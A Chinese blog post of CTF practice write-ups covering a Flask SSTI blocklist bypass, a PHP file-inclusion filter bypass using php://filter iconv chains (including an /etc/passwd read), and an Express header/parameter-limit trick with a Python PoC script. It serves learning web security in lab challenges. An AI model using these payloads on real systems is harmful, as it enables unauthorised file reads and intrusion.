首页 > 其他分享 >刷题记录(三)

刷题记录(三)

时间:2023-08-16 17:47:53浏览次数:38  
标签:UTF 记录 admin headers flag php true 刷题

攻防世界-Confusion1

打开环境,主页导航有三个选项,其中注册和登陆页面报错404,但提示了flag的位置

在首页的url后面添加{{1+1}}发现系统存在SSTI漏洞。

使用经典payload进行尝试:

''.__class__.__mro__[2].__subclasses__()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()

结果报错,说明系统对class,subclasses等关键字进行了过滤。
request是Flask框架的一个全局变量,并且本系统没有对request关键字进行过滤,可以利用request.args绕过黑名单进行模板注入。
最终payload:

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

攻防世界-文件包含

题目给了源码

<?php
highlight_file(__FILE__);
    include("./check.php");
    if(isset($_GET['filename'])){
        $filename  = $_GET['filename'];
        include($filename);
    }
?>

传入参数?filename=/etc/passwd

提示用了错误方法,尝试用伪协议将资源内容编码后外带,用php://filter加convert.base64-encode读取flag.php?filename=php://filter/read=convert.base64-encode/resource=flag.php

提示"do not hack"说明设置了黑名单过滤了敏感字符串,接下来fuzz一下哪些字符串被禁用。
结果发现base64,read关键字被过滤。尝试使用iconv.*过滤器,该过滤器不支持参数,但可以使用输入/输出的编码名称组成过滤器名称。比如iconv("ASCII","UTF-8",$string)该语句的作用是将$string从ascii编码转换成utf-8编码。接下来可以用以下字符集进行尝试

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

payload:
?filename=php://filter/convert.iconv.a编码.b编码/resource=flag.php
使用burpsuite对输入/输出编码组合进行爆破:

攻防世界-ez_curl

环境初始界面给了以下代码

<?php
highlight_file(__FILE__);
$url = 'http://back-end:3000/flag?';
$input = file_get_contents('php://input');
$headers = (array)json_decode($input)->headers;
for($i = 0; $i < count($headers); $i++){
    $offset = stripos($headers[$i], ':');
    $key = substr($headers[$i], 0, $offset);
    $value = substr($headers[$i], $offset + 1);
    if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
        die('try hard');
    }
}
$params = (array)json_decode($input)->params;
$url .= http_build_query($params);
$url .= '&admin=false';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch);
echo $result;

还有一个附件js代码:

const express = require('express');
const app = express();
const port = 3000;
const flag = process.env.flag;
app.get('/flag', (req, res) => {
    if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
        res.send(flag);
    }else{
        res.send('try hard');
    }
});
app.listen({ port: port , host: '0.0.0.0'});

分析php代码,$input变量是通过file_get_contents('php://input')的方式获取,接着用到对$input变量进行json解码,因此传入的数据应该是json格式。
另外,当Content-Type为application/x-www-form-urlencoded且提交方法是POST方法时,$_POST数据与php://input数据等价的。我们可以通过这种方式构造参数上传。
再看js代码,

if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
        res.send(flag);
    }else{
        res.send('try hard');
}

要求参数admin不包含false,且headers里的admin字段有true。但是请求是在php代码里构造的,以字符串拼接的形式携带了admin=false这个参数,所以js代码无法返回flag。
由于express的parameterLimit默认为1000,参数最大限制为1000,可以在请求上加1000个参数能把&admin=false挤掉。
在构造headers时要求里面有admin包含'true',只要字符串中包含true就行。而for循环中存在检测,存在admin:true的键值对会触发die('try hard');
rfc规定一个field-name是由一个或多个ascii字符组成,不包括分隔符和空格。因此如果一个field-name的首字符是空格,那么这个请求的header就是非法的,会被丢弃,但是nodejs在处理这类情况的时候条件放松了。最终post内容:

{"headers": ["admin: x", " true: y"]}

poc脚本:

import json
import requests
from abc import ABC
url = "http://61.147.171.105:49903/"
datas = {"headers": ["admin:a"," true:a", "Content-Type: application/json"],
         "params": {"admin": "true"}}
         
for i in range(1020):
    datas["params"]["x" + str(i)] = i
    
headers = {
    "Content-Type": "application/json"
}

json1 = json.dumps(datas)

print(json1)
resp = requests.post(url, headers=headers, data=json1)
print(resp.text)

标签:UTF,记录,admin,headers,flag,php,true,刷题
From: https://www.cnblogs.com/Goo1/p/17635767.html

相关文章

  • 【自用】常用配置记录
    Pythonpipconfigsetglobal.index-urlhttps://pypi.tuna.tsinghua.edu.cn/simpleGoexportGOPROXY="https://goproxy.cn/"exportGOROOT=""Nodejs换源npmsetregistryhttp://registry.npmmirror.com修改npm全局安装位置exportNPM_HOME="&quo......
  • 记录一个解决方法- 使用editableProTable表头筛选,无法重置,位置偏移
    问题如图:切换原始告警和收敛告警以后,由于二者用到同一个table,切换之后再点击筛选条件,则筛选框的位置发生偏移解决办法:给table一个key属性,改变table中的数据或者列时,去改变这个唯一的key,key值改变,table就可以重新渲染了!......
  • 记录 centos firewall 引起ipv6隧道失效的故障排查
    由于宝塔会在centos7默认开启firewall 首先ipv6是由v4隧道中转过来的:ipaddrshowsit15:sit1@NONE:<POINTOPOINT,NOARP,UP,LOWER_UP>mtu1480qdiscnoqueuestateUNKNOWNgroupdefaultqlen1000link/sit0.0.0.0peer99.99.104.74inet62001:232:232:232::2/64......
  • 【刷题笔记】23. Merge k Sorted Lists
    题目Mergeksortedlinkedlistsandreturnitasonesortedlist.Analyzeanddescribeitscomplexity.Example:Input:[1->4->5,1->3->4,2->6]Output:1->1->2->3->4->4->5->6题目大意合并K个有序链表解题思路借助分治的思想,把K个......
  • CF 记录
    CF1858BTheWalkway降智题,但是这种题放B着实有点恶心考虑每两个相邻点对\(x\),\(y\)对于答案的贡献,显然是\(\frac{s_y-s_x-1}{d}\)然后每次枚举删除的点\(i\),减去\((i-1,i)\),\((i+1,i)\)的贡献,再加上\((i-1,i+1)\)的贡献就是可能的答案但是实现的时候细节很多,主要是两个端点......
  • 数据结构口胡记录
    数据结构口胡记录114514天没写博客了(悲)BearandBadPowersof42\(tag\):线段树,势能分析原问题不好直接做,考虑转化维护信息首先可以发现42的幂次并不多,所以每次操作3到停止的次数并不多,因此可以用线段树多次打区间加标记。问题转化为看一个区间内是否存在42的倍数,因为区间......
  • ARC 做题记录
    又来开新坑了建议改为ATC看题解记录[ARC103F]DistanceSums\(tag\):构造,树的性质sol\(remark\):构造题多考虑题目中隐式给出的已知量,如本题的重心,树的构造题中从儿子向上,由变化量得到父亲信息是很重要的思想。[ARC102F]RevengeofBBuBBBlesort!\(tag\):构造,逆序对,结论sol......
  • dp递推 口胡记录
    dp/递推口胡记录[SHOI2013]超级跳马\(tag\):矩阵乘法,前缀和暴力\(dp\)很显然,设\(f_{i,j}\)为从\((1,1)\)跳到\((i,j)\)的方案数,那么有$f_{i,j}=\sum\limits_{j-(2k+1)>0}f_{i/i+1/i-1,j-(2k+1)}$发现这个东西其实是一直由前面奇偶性相同的一段转移过来的,因此考虑前缀和......
  • 图论口胡记录
    图论口胡记录Xor-MST\(Borvuka\)算法版题\(Borvuka\)的流程是每次对于每个联通块中都找到一条向外部最小的边,然后再将边相连的两个连通块合并。可以发现每次连通块的个数都会减半,只会合并\(\log_n\)次,那么中间找最小边的过程中,对于没有显式建边的题目我们就可以用数据结构维护......
  • ThingsKit物联网平台告警中心之上下线记录
    设备上下线功能用于监控设备的连接状态,当设备离线或下线时,系统会及时发出通知,以便用户能够及时处理。处理和详情处理设备上下线记录和查看设备上下线记录详情。搜索记录多条件筛选查看设备上下线记录。删除单项或批量删除设备上下线记录。文章来源(首发地址):ThingsKit物联......